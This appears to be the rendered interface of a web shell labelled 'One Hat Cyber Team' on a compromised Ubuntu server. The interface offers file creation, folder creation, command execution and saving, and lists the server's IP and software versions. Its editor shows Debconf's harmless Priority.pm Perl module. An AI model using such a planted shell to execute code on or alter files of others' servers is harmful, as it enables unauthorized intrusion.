⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
snap
/
core
/
17212
/
usr
/
share
/
perl5
/
Debconf
/
Edit File: Priority.pm
#!/usr/bin/perl -w # This file was preprocessed, do not edit! package Debconf::Priority; use strict; use Debconf::Config; use base qw(Exporter); our @EXPORT_OK = qw(high_enough priority_valid priority_list); my %priorities=( 'low' => 0, 'medium' => 1, 'high' => 2, 'critical' => 3, ); sub high_enough { my $priority=shift; return 1 if ! exists $priorities{$priority}; return $priorities{$priority} >= $priorities{Debconf::Config->priority}; } sub priority_valid { my $priority=shift; return exists $priorities{$priority}; } sub priority_list { return sort { $priorities{$a} <=> $priorities{$b} } keys %priorities; } 1
Simpan